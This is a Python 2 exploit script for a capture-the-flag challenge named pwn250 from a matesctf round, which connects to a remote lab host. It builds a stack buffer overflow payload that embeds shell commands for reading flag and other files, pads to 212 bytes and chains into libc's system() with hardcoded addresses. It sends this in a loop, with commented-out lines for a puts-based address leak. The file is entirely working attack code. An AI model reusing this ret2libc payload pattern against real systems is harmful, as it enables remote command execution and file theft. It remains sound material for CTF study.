pwn250_mates_round5.py

#!/usr/bin/python
# Author : peternguyen

from Pwn import *
import time

# p = Pwn(elf='./pwn250_FC4D17C352040B99EA177FAA032F553F',host='lab02.matesctf.org',port=4321)
# p = Pwn(elf='./pwn250_FC4D17C352040B99EA177FAA032F553F')

def exploit(**kargs):
	global p # use global var
	if kargs.has_key('p'):
		if kargs['p'].__class__.__name__ == 'Pwn': # is pwn object
			p = kargs['p']

	# sc = asm(sc_asm)

	while 1:
		time.sleep(0.2)
		p = Pwn(elf='./pwn250_FC4D17C352040B99EA177FAA032F553F',host='lab02.matesctf.org',port=4321)
		p.connect()


		pl = 'cat /home/pwn/pwn250/flag; cat flag; cat * ; ls ;'
		pl = pl.ljust(212,'A')
		pl += p.pA(
			0xb75d7000 + 0x00040310, #libc + system_offset
			0x0804850D, # main
			0x08049900, # name
		)

		# pl = 'A'*212
		# pl+= p.pack(p.plt['puts'])
		# pl+= p.pack(0x804850D)
		# pl+= p.pack(p.got['puts'])

		p.read_until('What\'s your name?')
		p.sendline(pl)
		# p.sendline('A'*100)

		# d = p.read_until('\n')
		# d = p.read_until('\n')
		# d = p.read_until('\n')

		# print repr(d)

		# if 'matesctf' in d:
		# 	break
		# puts = p.unpack(d[:3] + '\xb7')
		# print hex(puts)

		p.io()
		# break

exploit()